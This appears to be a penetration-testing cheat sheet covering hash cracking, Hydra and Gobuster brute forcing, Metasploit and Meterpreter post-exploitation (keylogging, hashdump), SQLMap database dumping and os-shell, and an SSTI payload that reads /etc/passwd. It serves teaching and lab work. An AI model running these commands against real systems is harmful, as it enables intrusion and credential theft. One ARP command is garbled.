## hashid Hashid will analyze and output the potential algorithm that is used to hash your input. Supports over 250 hash types. `hashid option hash` `-e` - list all possible hash algorithms including salted passwords `-m` - include corresponding hashcat mode in output `-j` - include corresponding JohnTheRipper format in output `-o FILE` - write output to file (default: STDOUT) `-h` - show help message and exit ## hashidentifier Hashidentifier will analyze and output the potential algorithm that is used to hash your input. I would say that it is a better alternative to hashid. Supports over 100 hash types. Usage: `hashidentifier hash` Example: `hashidentifier 5d7845ac6ee7cfffafc5fe5f35cf666d` ## haiti Haiti is another great tool to identify a hash type. It also returns the format that can be used with john the ripper and hashcat to crack the hash. Supports over 500 hash types. Installation: `gem install haiti-hash` Usage: `haiti hash` Example: `haiti 5d7845ac6ee7cfffafc5fe5f35cf666d` ## shasums **Find SHA1 hash for a file** `sha1sum file.txt` **Find MD5 hash for a file** `md5sum file.txt` ## base64 Decrypt base64 `base64 -d file.txt` ## gpg Gpg encrypt a file `gpg -c data.txt` Enter keyphrase Decrypt the file `gpg -d data.txt.gpg` Enter keyphrase ## hexdump hexdump is used to filter and display the specified files, or standard input in a human readable specified format. **Syntax** hd {options} {files} **Options** `-c` One-byte character display. `-C` Canonical hex + ASCII display. ## xxd xxd is a hex editor that can be used to convert binary files to hex and vice versa. **Syntax** `xxd [options] [infile [outfile]]` **Options** `-b` binary digit dump `-e` little-endian dump `-l len` stop after <len> octets. `-r` reverse operation: convert (or patch) hexdump into binary. `-d` show offset in decimal instead of hex. `-u` use upper case hex letters. ## exiftool Is a command-line application for reading, writing and editing meta information in a wide variety of files. Install with: `sudo apt install libimage-exiftool-perl` Usage `exiftool file.jpeg` ## fcrackzip Is a password cracker that runs on .zip files Install `sudo apt-get install fcrackzip` Usage `fcrackzip -vbDp <wordlist path> <filepath>` Example `fcrackzip -Dp /usr/share/wordlists/rockyou.txt secret.zip -v` **Options** `-b` for using brute force algorithms. `-D` for using a dictionary. `-v` for verbose mode. `-p` for using a string as a password. ## crunch Crunch is a wordlist generator that can generate all possible combinations and permutations. Install `sudo apt-get install crunch` Usage `crunch <min> <max> <characters>` Example `crunch 8 8 abcdefghijklmnopqrstuvwxyz -t @@dog@@@-o wordlist.txt` **Options** `-t` for adding a pattern to the generated wordlist. `-o` for saving the generated wordlist to a file. ## rax2 rax2 comes in handy when there is a need to make base conversions between hexadecimal representations, floating point values, hex-pair strings to ASCII, binary, octal, integer and so on. ### Syntax `rax2 <options> <value>` ### Example `rax2 -s 0x424b` ### A list of most useful flags: ```bash -a show ascii table ; rax2 -a -b bin -> str ; rax2 -b 01000010 01001011 # BK -B str -> bin ; rax2 -B hello # 0110100001100101011011000110110001101111 -d force integer ; rax2 -d 3 -> 3 instead of 0x3 -D base64 decode ; rax2 -D SGVsbG8gd29ybGQ= # Hello world -E base64 encode ; rax2 -E Hello world # SGVsbG8gd29ybGQ= -f floating point ; rax2 -f 6.3+2.1 -I IP address <-> LONG ; rax2 -I 3530468537 # 185.172.110.210 -k keep base ; rax2 -k 33+3 -> 36 -K randomart ; rax2 -K 0x34 1020304050 -L bin -> hex(bignum) ; rax2 -L 111111111 # 0x1ff -n binary number ; rax2 -n 0x1234 # 34120000 -o octalstr -> raw ; rax2 -o \162 \62 # r2 -N binary number ; rax2 -N 0x1234 # \x34\x12\x00\x00 -r multiple outputs ; rax2 -r 0x1234 -s hexstr -> raw ; rax2 -s 42 4b # BK -S raw -> hexstr ; rax2 -S < /bin/ls > ls.hex -t tstamp -> str ; rax2 -t 1234567890 # Sat Feb 14 00:31:30 2009 -x hash string ; rax2 -x linux #0x5ca62a43 -u units ; rax2 -u 389289238 # 317.0M -w signed word ; rax2 -w 16 0xffff ``` ## jq jq is a lightweight and flexible command-line JSON processor. It is used to parse, filter, and transform JSON data. It is written in C and has no external dependencies. To install use `sudo apt install jq` **Syntax** `jq <options> <filter> <input>` **Example** `jq . sample.json` one way of prettifying json data `cat sample.json | jq` another way of prettifying json data `jq -c < pretty.json` minify json data ## gcc gcc is a compiler that can be used to compile C programs. It is used to compile C programs into machine code. **Syntax:** `gcc <options> <input>` **Example:** `gcc hello.c -o hello` Compile the program `./hello` Run the compiled program ## adduser & addgroup The syntax for both of these commands are `adduser username` and `addgroup groupname`. Add a user to a group `usermod -a -G <groups seperated by commas> <user>` ## Operators `>` is the operator for output redirection. Meaning that you can redirect the output of any command to a file `>>` does mainly the same thing as >, with one key difference. >> appends the output of a command to a file, instead of erasing it. ## File Descriptors A file descriptor (FD) in Unix/Linux operating systems is an indicator of connection maintained by the kernel to perform Input/Output (I/O) operations. In Windows-based operating systems, it is called filehandle. It is the connection (generally to a file) from the Operating system to perform I/O operations (Input/Output of Bytes). By default, the first three file descriptors in Linux are: **Data Stream for Input** `STDIN – 0` **Data Stream for Output** `STDOUT – 1` **Data Stream for Output that relates to an error occurring.** `STDERR – 2` Redirects the file descriptors for the errors (STDERR) to "`/dev/null`" This way, we redirect the resulting errors to the "null device," which discards all data. `find /etc/ -name shadow 2>/dev/null > results.txt` **Redirect STDOUT and STDERR to Separate Files** `find /etc/ -name shadow 2> stderr.txt 1> stdout.txt` # Tools (CLI) ## Aircrack-ng [Aircrack-ng](https://www.aircrack-ng.org) - is a complete suite of tools to assess WiFi network security `TO BE ADDED` https://cheatography.com/itnetsec/cheat-sheets/aircrack-ng-suite/ ## Gobuster [Gobuster](https://github.com/OJ/gobuster) is a tool used to brute-force URIs (directories and files), DNS subdomains and virtual host names ### Syntax `gobuster -w wordlist.txt` ### Examples: Standard scan `gobuster dir -u http://172.162.39.86 -w /usr/share/wordlists/dirb/megalist.txt` DNS subdomain enumeration `gobuster dns -d http://172.162.39.86 -w /usr/share/SecLists/Discovery/DNS/namelist.txt` ### A list of options `dir` Directory/file brute forcing mode `dns` DNS bruteforcing mode ### A list of most useful flags: `-u` (url) – full target URL (including scheme), or base domain name. `-w` (wordlist) – path to the wordlist used for brute forcing (use – for stdin). `-a` (user agent string) – specify a user agent string to send in the request header. `-e` (print) - Print the full URLs in your console `-o` (file) – specify a file name to write the output to. `-x` (extensions) – list of extensions to check for, if any. `-P` (password) – HTTP Authorization password (Basic Auth only, prompted if missing). `-U` (username) – HTTP Authorization username (Basic Auth only). `-c <http cookies>` (cookie) - Specify a cookie for simulating your auth `-s` (status-codes) - Set status codes that should be interpreted as valid `-k` (ssl) - Skip ssl certificate `-H` (HTTP) - Specify HTTP header `-t` (threads) - Number of concurrent threads (default: 10) `-v` (verbose) - Verbose output `-q` (quiet) - Quiet output `-n` (no-redirect) - Do not follow redirects `-r` (recursive) - Recursively brute force subdirectories Find a list of seclists [here.](https://github.com/danielmiessler/SecLists) ## Feroxbuster feroxbuster uses brute force combined with a wordlist to search for unlinked content in target directories. **Syntax:** `feroxbuster [OPTIONS]` **Example:** `feroxbuster -u https://berkankutuk.dk -w /usr/share/wordlists/dirb/big.txt` **Options:** `-h, --help` - Print help information `-V, --version` - Print version information `-u, --url <URL>` - The target URL `-b, --cookies <COOKIE>` - Specify HTTP cookies to be used in each request `-m, --methods <HTTP_METHODS>` - Which HTTP request method(s) should be sent (default: GET) `-x, --extensions <FILE_EXTENSION>` - File extension(s) to search for (ex: -x php -x pdf js) `-C, --filter-status <STATUS_CODE>` - Filter out status codes (deny list) (ex: -C 200 -C 401) `-s, --status-codes <STATUS_CODE>` - Filter status codes (allow list) (default: 200 204 301 302 307 308 401 403 405) `-r, --redirects` - Allow client to follow redirects `-T, --timeout <SECONDS>` - Number of seconds before a client's request times out (default: 7) `-d, --depth <RECURSION_DEPTH>` - Maximum recursion depth, a depth of 0 is infinite recursion (default: 4) `-e, --extract-links` - Extract links from response body and make new requests based on findings `-L, --scan-limit <SCAN_LIMIT>` - Limit total number of concurrent scans (default: 0, i.e. no limit) `-n, --no-recursion` - Do not scan recursively `-t, --threads <THREADS>` - Number of concurrent threads (default: 50) `--time-limit <TIME_SPEC>` - Limit total run time of all scans (ex: --time-limit 10m) `-w, --wordlist <FILE>` - Path to the wordlist `-o, --output <FILE>` - Output file to write results `-v, --verbosity` - Increase verbosity level (use -vv or more for greater effect. '4' -v's is probably too much) ## Hashcat [Hashcat](https://hashcat.net/hashcat/) is a particularly fast, efficient, and versatile hacking tool that assists brute-force attacks by conducting them with hash values of passwords that the tool is guessing or applying. [Cheatsheet](https://cheatsheet.haax.fr/passcracking-hashfiles/hashcat_cheatsheet/) ### Syntax `hashcat -m <number> <hash_file> <dict_file>` ### Example Dictionary `hashcat -m 1800 -a 0 hashed.txt /usr/share/wordlists/rockyou.txt -o output.txt` Bruteforce `hashcat -m 0 -a 3 -i hashed.txt ?a?a?a?a?a?a?a -o output.txt` ### Flags `-m` sets the [mode](https://hashcat.net/wiki/doku.php?id=example_hashes) `-a` sets the attack mode (0=Straight,1=Combination,3=Bruteforce,6=Hybrid:wlist+mask,7=Hybrid:mask+wlist) `-o` output to filename `-r` sets rules `--status` keep screen updated `--runtime` abort after X seconds `--force` sets workload to insane (This can lead to false positives) `-i` increment (bruteforce) ### Attack modes 0=Straight 1=Combination 3=Bruteforce 6=Hybrid:wlist+mask 7=Hybrid:mask+wlist ### Charsets `?l` Lowercase a-z `?u` Uppercase A-Z `?d` Decimals `?h` Hex using lowercase chars `?H` Hex using uppercase chars `?s` Special chars `?a` All (l,u,d,s) `?b` Binary ## Hydra [Hydra](https://github.com/vanhauser-thc/thc-hydra) is a tool used to brute-force username and password to different services such as ftp, ssh, telnet, MS-SQL, etc. ### Syntax `hydra -options path` ### Examples: Guess SSH credentials using a given username and a list of passwords: `hydra -l username -P path/to/wordlist.txt host_ip -t 4 ssh -V` Guess Telnet credentials using a list of usernames and a single password, specifying a non-standard port and IPv6: `hydra -L path/to/usernames.txt -p password -s port -6 host_ip telnet` Guess FTP credentials using usernames and passwords lists, specifying the number of threads: `hydra -L path/to/usernames.txt -P path/to/wordlist.txt -t n_threads host_ip ftp` Guess MySQL credentials using a username and a passwords list, exiting when a username/password pair is found: `hydra -l username -P path/to/wordlist.txt -f host_ip mysql` Web form credentials: `hydra -l admin -P /usr/share/wordlists/rockyou.txt <ip_adress> http-post-form "/login:username=^USER^&password=^PASS^:F=Username or password invalid" -V` Guess IMAP credentials on a range of hosts using a list of colon-separated username/password pairs: `hydra -C path/to/username_password_pairs.txt imap://[host_range_cidr]` Guess POP3 credentials on a list of hosts using usernames and passwords lists, exiting when a username/password pair is found: `hydra -L path/to/usernames.txt -P path/to/wordlist.txt -M path/to/hosts.txt -F pop3` ### A list of most useful options: `-S` connect via SSL `-l` single username `-L` wordlist username(s) `-p` single password `-P` wordlist password(s) `-o` FILE write found login/password pairs to FILE instead of stdout `-V` verbose mode, see output for every attempt `-I` ignore the resume dialog `-t <number> `specifies the number of threads to use `-u` by default Hydra checks all passwords for one login and then tries the next login. This option loops around the passwords, so the first password is tried on all logins, then the next password. ## John The Ripper [John The Ripper](https://www.openwall.com/john/) is a fast password cracker, currently available for many flavors of Unix, Windows, and other. [Cheatsheet](https://cheatsheet.haax.fr/passcracking-hashfiles/john_cheatsheet/) ### Syntax `john <hash_file> --wordlist=<wordlist>` ### Examples Cracking MD5 hashes `john --format=raw_md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt` ### SSH Private Key Crack hashed private key `python /usr/share/john/ssh2john.py id_rsa > hash.txt` ssh2john.py can sometimes also be located under `/opt/john/ssh2john.py` Crack the hash (or a shadow file) `john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt` ## Metasploit The Metasploit Framework is a set of tools that allow information gathering, scanning, exploitation, exploit development, post-exploitation, and more. While the primary usage of the Metasploit Framework focuses on the penetration testing domain, it is also useful for vulnerability research and exploit development. **Auxiliary:** Any supporting module, such as scanners, crawlers and fuzzers, can be found here. **Encoders:** Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them. ### Payloads **Singles:** Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run. **Stagers:** Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. “Staged payloads” will first upload a stager on the target system then download the rest of the payload (stage). This provides some advantages as the initial size of the payload will be relatively small compared to the full payload sent at once. **Stages:** Downloaded by the stager. This will allow you to use larger sized payloads. Metasploit has a subtle way to help you identify single (also called “inline”) payloads and staged payloads. * generic/shell_reverse_tcp * windows/x64/shell/reverse_tcp Both are reverse Windows shells. The former is an inline (or single) payload, as indicated by the “_” between “shell” and “reverse”. While the latter is a staged payload, as indicated by the “/” between “shell” and “reverse”. ### How to use Initialize the database `msfdb init` View advanced options for starting the console `msfconsole -h` Start metasploit `msfconsole` Check db connection `db_status` Msf commands `help` or `?` - shows the help page Search exploit `search <exploit_for>` Select module `use <module>` Change value of a variable `set <variablename> <value>` `get <variablename>` `unset <variablename>` Save msfconsole session `save` Save console outputs `spool` See privileges of a current user `getprivs` Tranfer files to victim computer `upload` Check if the victim pc is in a VM (Windows) `run post/windows/gather/checkvm` See what a machine could be vulnerable to `run post/multi/recon/local_exploit_suggester` Spawn a normal system shell `shell` ### Meterpreter Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and act as an agent within a command and control architecture. You will interact with the target operating system and files and use Meterpreter's specialized commands. Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine). Even though Meterpreter is very stealthy, most antivirus software will detect it unfortunately. See some of the available commands [here](/More/Metasploitable/Meterpreter/Commands.md). ### Post exploitation with Meterpreter The post-exploitation phase will have several goals; Meterpreter has functions that can assist all of them. * Gathering further information about the target system. * Looking for interesting files, user credentials, additional network interfaces, and generally interesting information on the target system. * Privilege escalation. * Lateral movement. **Migrate** Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the keyscan_start, keyscan_stop, and keyscan_dump command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session. To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back. **Hashdump** The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user's passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format. While it is not mathematically possible to "crack" these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in Pass-the-Hash attacks to authenticate to other systems that these users can access the same network. **Search** The search command is useful to locate files with potentially juicy information `search -f flag.txt`. **Shell** The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell. ## Netcat [Netcat](http://netcat.sourceforge.net) aka nc is an extremely versatile tool. It allows users to connect to specific ports and send and receive data. It also allows machines to receive data and connections on specific ports, which makes nc a very popular tool to gain a Reverse Shell. ### Syntax Computer B (acts as the receiving server): `nc -lvnp 6790 > testfile.txt` Computer A (acts as the sending client): `nc [IP address of computer B] 6790 < testfile.txt` ### A list of most useful switches: `-l` Listen to connections (TCP) `-v` Enable verbose mode (allows you to see who connected to you) `-p` Specify a port to listen to `-e` Specify program to execute after connecting to a host `-u` Connect to UDP ports `-n` Fast scan by disabling DNS resolution `-w` Define timeout value `-4` IPv4 only `-6` IPv6 only `>` Server file redirection `<` Client file redirection ## Nikto 2 [Nikto 2](https://cirt.net/Nikto2) or nikto is a popular web scanning tool that allows users to find common web vulnerabilities. It is commonly used to check for common CVE's such as shellshock, and to get general information about the web server that you're enumerating. ### Syntax `nikto -h <ip> -port <port>` ### A list of most useful flags: `-h` Hostname/IP adress `-port` Specify ports `-nossl` Disable ssl `-ssl` Force ssl `-id` Specify authentication(username & password) `-plugin` Select which plugin to use `-update` Update the plugin list `--list-plugins` List all possible plugins to use `-output` Output fingerprinted information to a file ## Nmap [Nmap](https://nmap.org) is a utility for network discovery and security auditing. ### Syntax `nmap [options] [ip]` Example: `nmap -sT -T4 -A -p- 172.162.39.86` ### A list of most useful switches: TCP scan (Most likely to be filtered)= `-sT` TCP Syn Scan (No logging)= `-sS` UDP scan (Slow)= `-sU` ICMP Scanning (host discovery, no port scans) = `-sn` Default ping scanning) = `-sP` Detect OS = `-O` Detect version of services = `-sV` Scan with the default nmap scripts = `-sC` Disable host discovery and just scan for open ports = `-Pn` ARP Scan (only on same subnet as target) = `-PR` Change verbosity = `-v` Change verbosity level two = `-vv` (It's good practice to *always* increase the verbosity in your scans.) Save nmap results in three major formats = `-oA [filename] [target]` Save nmap results in a text file = `-oN [filename] [target]` Save nmap results in grepable format = `-oG [filename] [target]` Aggresive mode (Enable OS detection, version detection, script scanning, and traceroute) = `-A` Timing leves (Speed of scans, can make errors) = `-T<Level>` (0-5) Port scan (specific)= `-p <port>` Port scan (range) = `-p <from>-<to>` Port scan (all) = `-p-` Activate a script= `—-script=<script_name>` Decoy an ip adress = `-D` Fast mode = `-F` Only open ports = `--open` List of hosts to scan = `-iL` No DNS lookup = `-n` Reverse DNS lookup = `-R` Scan an IPv6 address = `-6` Subnet mask with 255.255.255.0 = `<ip>/24` ## SQLMap [SQLMap](http://sqlmap.org) is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. ### Syntax `sqlmap <option> <url>` ### Options `-u` - URL to test for SQL injection `-g` - Google Dork to test for SQL injection `-p` - Parameter to test for SQL injection `-D` - Dump a specific database to enumerate `-T` - Dump a specific table to enumerate `-C` - Dump specific columns to enumerate `--level` - Level of tests to perform (1-5) `--dbms` - Force SQLMap to use a specific DBMS `--dump` - Dump the contents of the database `--os-shell` - Get an OS shell `--dump-all` - Dump all databases ### Example use case Dumping some data inside columns from a table in a database. List tables in a database. ```bash sqlmap.py -u <website>? -D <database_name> --tables ``` List columns in a table in a database. ```bash sqlmap.py -u <website>? -D <database_name> -T <table_name> --columns ``` Dump data from columns in a table in a database. ```bash sqlmap.py -u <website>? -D <database_name> -T <table_name> -C <column_name1>,<column_name2> -dump ``` Test for SQL injection. ```bash sqlmap.py -u <website>? --dbs ``` # Tools (GUI) ## Autopsy `TO BE ADDED` ## Burp [Burp Suite](https://portswigger.net/burp), a framework of web application pentesting tools, is widely regarded as the de facto tool to use when performing web app testing ### Setting up Burp Suite Download Burp Suite [here](https://portswigger.net/burp/communitydownload). Burp Suite requires Java JRE in order to run. Download and install Java [here](https://www.java.com/en/download/). ### Gettin' CA Certified We need to install a CA certificate as BurpSuite acts as a proxy between your browser and sending it through the internet - It allows the BurpSuite Application to read and send on HTTPS data. 1. Download [Foxy Proxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/) in order to fully leverage the proxy, we'll have to install the CA certificate included with Burp Suite (otherwise we won't be able to load anything with SSL). 2. Now click on the extension -> Options -> Add -> Fill in the fields with the following values: 1. Title = Burp 2. Proxy type = HTTP 3. Proxy IP adress or DNS name = `127.0.0.1` 4. Port = `8080` 5. Username and password is optional. 3. And hit save. 4. Finally, click on the FoxyProxy extension icon again and select 'Burp'. 5. With Firefox, navigate to the following address: `http://localhost:8080` 6. Click on 'CA Certificate' in the top right to download and save the CA Certificate. 7. Now that we've downloaded the CA Certificate, move over to the settings menu in Firefox. Search for 'Certificates' in the search bar. 8. Click on 'View Certificates'. Next, in the Authorities tab click on 'Import' and then OK. ### Overview of Features * **Proxy** - Burp Proxy allows us to intercept and modify requests/responses when interacting with web applications. * **Target** - How we set the scope of our project. We can also use this to effectively create a site map of the application we are testing. * **Intruder** - Incredibly powerful tool for everything from field fuzzing to credential stuffing and more * **Repeater** - Allows us to capture, modify, then resend the same request numerous times. This feature can be absolutely invaluable, especially when we need to craft a payload through trial and error (e.g. in an SQLi -- Structured Query Language Injection) or when testing the functionality of an endpoint for flaws. * **Sequencer** - Analyzes the 'randomness' present in parts of the web app which are intended to be unpredictable. This is commonly used for testing session cookies. * **Decoder** - As the name suggests, Decoder is a tool that allows us to perform various transforms on pieces of data. These transforms vary from decoding/encoding to various bases or URL encoding. * **Comparer** - Comparer as you might have guessed is a tool we can use to compare different responses or other pieces of data such as site maps or proxy histories (awesome for access control issue testing). This is very similar to the Linux tool diff. * **Extender** - Similar to adding mods to a game like Minecraft, Extender allows us to add components such as tool integrations, additional scan definitions, and more! * **Scanner** - Automated web vulnerability scanner that can highlight areas of the application for further manual investigation or possible exploitation with another section of Burp. This feature, while not in the community edition of Burp Suite, is still a key facet of performing a web application test. ### Benefits 1. Requests will by default require our authorization to be sent. 2. We can modify our requests in-line similar to what you might see in a man-in-the-middle attack and then send them on. 3. We can also drop requests we don't want to be sent. This can be useful to see the request attempt after clicking a button or performing another action on the website. 4. And last but not least, we can send these requests to other tools such as Repeater and Intruder for modification and manipulation to induce vulnerabilities ### Notes * URL Encode with Burp Suite: `Ctrl + U` to make a payload safe to send. * Intruder attack types: * **Sniper**: Sends a single request to each selected item, typically used for targeted attacks. (e.g. a password bruteforce if we know the username) * **Battering ram**: Sends multiple identical requests to selected items, ideal for brute force attacks. * **Pitchfork**: Sends a combination of two payloads, one to the first item and another to the second item, useful for testing parameter-level vulnerabilities. (e.g. we know the username and password for a user) * **Cluster bomb**: Sends multiple payloads to each selected item, useful for discovering new vulnerabilities. (tries every combination of values) * Python modules can be installed from the BApp Store, by downloading [Jython Jar file](https://www.jython.org/download) and placing it in the extender -> options -> python environment. * Extensions can be created using the [Burp Extender API](https://portswigger.net/burp/extender/api) with either Java, Python or Ruby. ## Nessus [Nessus](https://www.tenable.com/products/nessus) is a GUI based vulnerability scanner ### Download and installation 1. Click [here](https://www.tenable.com/products/nessus/nessus-essentials) and register an account. 2. Download the Nessus-#.##.#-debian6_amd64.deb file 3. Navigate to the download and run the following command: `sudo dpkg -i package_file.deb` 4. Start the nessus service wit the command: `sudo /bin/systemctl start nessusd.service` 5. Open up Firefox and goto the following URL: `https://localhost:8834/` (Accept risk in case you get prompted) 6. Choose "Nessus Essentials" and click next. Skip when asked for a activation code 7. Login with your account 8. Wait for installation and then login again ### Navigation and Scans Launch a scan = Hit the "New Scan" Side menu option that allows us to create custom templates = Policies Change plugin properties such as hiding them or changing their severity = Plugin rules ### Scans ![Nessus Scans](Images/Nessus.png) ## Wireshark [Wireshark](https://www.wireshark.org) is a tool used for creating and analyzing PCAPs (network packet capture files) Since this section is very large, I've created an individual page for this, which can be found inside this repository by clicking [here](More/Wireshark/README.md). # Text Editors ## Nano [Nano](https://nano-editor.org) is an easy to use command line text editor ### Shortcuts `^G` Display help text. `^O` Write the current file to disk `^X` Exit nano. `^T` Invoke spellc­heck, if installed. `^Y` Next screen. `^V` Previous screen. `^L` Refresh (force redraw) current screen. `^J` Justify current paragraph. (Join together broken lines of text until double newline is encoun­tered.) `^W` Search for a string or regular expres­sion. `^\` Search and replace a string or regular expres­sion ## Vim [Vim](https://www.vim.org) is a free and open-source, screen-based and highly customizable text editor program for Unix ### Modes Generally speaking, there are three basic modes in Vim: `Command mode` – allows you to run commands (Default). `Insert mode` – allows you to insert/write text. `Visual mode` – visual text selector. ### Basic keybinds `h` – move the cursor left `j` – cursor down `k` – cursor up `l` – move the cursor right `i` – enter the insert mode `esc` – enter the command mode `$` – move to the end of the line `yy` – copy a line `p` – paste `d` – delete a line `x` – cut a character ### Basic commands: `:q` – quit `:wq` – write & quit `:q!` – quit without saving `/word` – search for ‘word’ in the document `:vimgrep` – grep integration in Vim (allows to search in multiple files) Find other very usefull commands [here](/More/VIM/README.md), or a full cheatsheet [here](https://vim.rtorr.com). # Cryptology Cryptography in Cryptology is used to protect confidentiality, ensure integrity, ensure authenticity. ## Generate keys To generate a private key we use the following command (8912 creates the key 8912 bits long): `openssl genrsa -aes256 -out private.key 8912` To generate a public key we use our previously generated private key: `openssl rsa -in private.key -pubout -out public.key` Lets now encrypt a file (plaintext.txt) using our public key: `openssl rsautl -encrypt -pubin -inkey public.key -in plaintext.txt -out encrypted.txt` Now, if we use our private key, we can decrypt the file and get the original message: `openssl rsautl -decrypt -inkey private.key -in encrypted.txt -out plaintext.txt` # Networking This section will cover the basics of networking, such as IP addresses, ports, protocols, etc. ## IP An IP address is a unique address that identifies a device on the internet or a local network. IP stands for "Internet Protocol," which is the set of rules governing the format of data sent via the internet or local network. Example: 192.168.1.204 **Reserved local IP addresses** 192.168.1.0 = The network address 192.168.1.1 = The default getaway (router) 192.168.1.255 = The broadcast address If you send something to the broadcast address, the message will be broadcasted to everybody else on the network. ### IPv4 IP addresses consists of 32 bits: 11000000.10101000.00000001.11001100 = 192.168.1.204 Or in hex c0.a8.01.cc = 192.168.1.204 So a full IP address is made up by 8x4 bits(32-bits), where they are seperated by a dot after every 8 bits meaning there are 4 groups which is also called "octets". Since an octet consists of 8 bits and there are 4 octets, a valid IP address can only be a number between 0 and 255, meaning it can be 256 different numbers: (0-255).(0-255).(0-255).(0-255) This makes the IP pool to have 2^32 = 4,294,967,296 different IP addresses that can be assigned. ## The router One of the primary jobs of a router is to assign IP addresses to the computers on a home network. The router has a “pool” of IP addresses that it keeps track of. When a computer connects to it and asks for an IP address, the router picks an IP address from the pool and assigns it to the computer. The router makes sure that two computers are not assigned the same IP address. This process of computers asking for an IP address from the router is called “dynamic” IP address assignment. It uses a network protocol called DHCP (Dynamic Host Configuration Protocol). When a host wants to connect to another host on a completely different IP outside the network, the host calls the default getaway(the router) for help. The default getaway: 192.168.1.1 ## IPv4 Classes | Class | Range | Subnet | Number of networks | Usage | For | |---|---|---|---|---|---| | A | 1.0.0.0 - 126.255.255.255 | 255.0.0.0 | 16,777,214 | Host Assigning | Big Companies and Government | | B | 128.0.0.0 - 191.255.20.0 | 255.255.0.0 | 65,534 | Host Assigning | Organizations | | C | 192.0.0.0 - 223.255.255.0 | 255.255.255.0 | 254 | Host Assigning | Networks with few hosts | | D | 224.0.0.0 - 239.255.255.255 | | | Special Purpose | Multicasting applications | | E | 240.0.0.0. - 255.255.255.255 | | | Special Purpose | Experimental(Illegal) | **Notes** - 127.0.0.0 is missing from the IP classes (16 million addresses) because they are loopback addresses on your local device. Normally used for network testing - Class C gives us the the most networks and smaller hosts per network. ## Subnetting ### Subnet mask A subnet mask can look like this: 255.255.255.0 If there is a 255, then the corresponding octet in the IP address will stay the same, but if the number is 0, then that octet can anything in between 0-255. Example: Subnet mask = **255.255.255**.0 IP address = **192.168.1**.204 The first 3 octets of the IP address 192.168.1.* will stay the same where the last octet "*" in our case is 204, which in fact is valid since the number can be anything in between 0-255 So the octets that never change is called the "Network portion" where the octet on a subnet mask zero is called the "Host". ### IANA IANA assigns IP addresses to a company. For example, IBM have the network range 9.0.0.0 which is a class A IP address. This gives the company the ability to slice up a network with another subnet mask, since the subnet mask for the Class A is only a default or a minimum they have to have. Example IP = 9.1.4.0 Subnet mask = 255.255.255.0 = 256 other networks The **Class A** network became a **Classless** network (when you cut up a network using a different subnet mask). Nowadays, we mainly do classles networks to take advantage of the IP addresses we need to use. So in other words, big and massive networks can become into a smaller network. ## Address Resolution Protocol (ARP) Address Resolution Protocol (ARP) is a protocol or procedure that connects an ever-changing Internet Protocol (IP) address to a fixed physical machine address, also known as a media access control (MAC) address, in a local-area network (LAN) So if the IP is known but the MAC adress is not, a request is broadcasted to every device on the network in order to match an IP address to its corresponding MAC address. This record is then maintained and saved to a table called ARP cache. An ARP request contains the following information: 1. The senders IP address. 2. The senders MAC adress. 3. The IP address we want to learn the MAC address for. ### Dynamic and static records When a broadcast is made, a dynamic record is made. This can be made by typing the following command: `arp-scan -l -I <interface>` > `arp-scan` is a tool that can be used to scan for IP and MAC addresses on a local network. It can be installed with the command: `sudo apt install arp-scan` > `sudo arp-scan -I eth0 -l` will send ARP queries for all valid IP addresses on the eth0 interface. If we have the IP and MAC address values, a manual thus static record can be made. This is done with the command: `arp -s <IP_Address> <MAC_Address>` See all ARP entries with the command: `arp -a` ### ARP Poisoning Since it is possible to manually add entries to an ARP table, a few attack types can be made. These include: 1. Inflating the ARP cache thus making it non-responsive 2. Change the traffic on a network in order to listen for a traffic coming from a target. (MitM) 3. Changing the traffic and completely stopping the traffic for a target device. **Flushing an ARP cache** This can be made with the following command: `arp -s -s neigh flush all` This command will delete every dynamic entry there is. The static ones will not be deleted since we added them manually. To remove the static entries run: `arp -d <IP_Address>` # Web Exploitation This section will cover the basics of web exploitation. ## Content Discovery Content discovery is divided into four parts, being manual, automated, OSINT and subdomain enumeration. ### Manual 1. Check the robots.txt file for disallowed/hiddenpages 2. Check if there is /admin/ page 3. Check if there is any pages ( `~` and `.bak` and `.swp` 4. Check for git repositories /.git/. [GitTools](https://github.com/internetwache/GitTools) can be used in order to automatically scrape and download a git repository hosted online with a given URL. 5. Check favicon to find the website frameworks (only works if the website developer doesn't replace this with a custom one) Run this to find its md5 hash: `curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum` Check [this](https://wiki.owasp.org/index.php/OWASP_favicon_database) database to find the framework. 6. Check the sitemap file for disallowed/hidden files 7. Curl HTTP Headers to find potential information about the webserver software and possibly the programming/scripting language in use. `curl http://10.10.134.48 -v` The `-v` switch enables verbose mode, which will output the headers 8. Look out for cookie values and change them if possible. Look after Base64 encoded values, JWT tokens, or maybe case folded values that can be used to bypass authentication with simply using casefold(). (Example: 'ß' -> 'ss') 9. Test for Cross-site scripting 10. Test with SQL injection methods 11. Try Flask Template Injection (SSTI) with `{{config}}` in the url. If it works, try `{{ get_user_file("/etc/passwd") }}` 12. Check `.htaccess` file for apache server configurations. 13. Grab banners/headers for framework, authentication and misconfiguration discovery `curl -IL https://www.inlanefreight.com` 14. Check the source code for any comments or hidden information in the inspector view. When successfully finding a 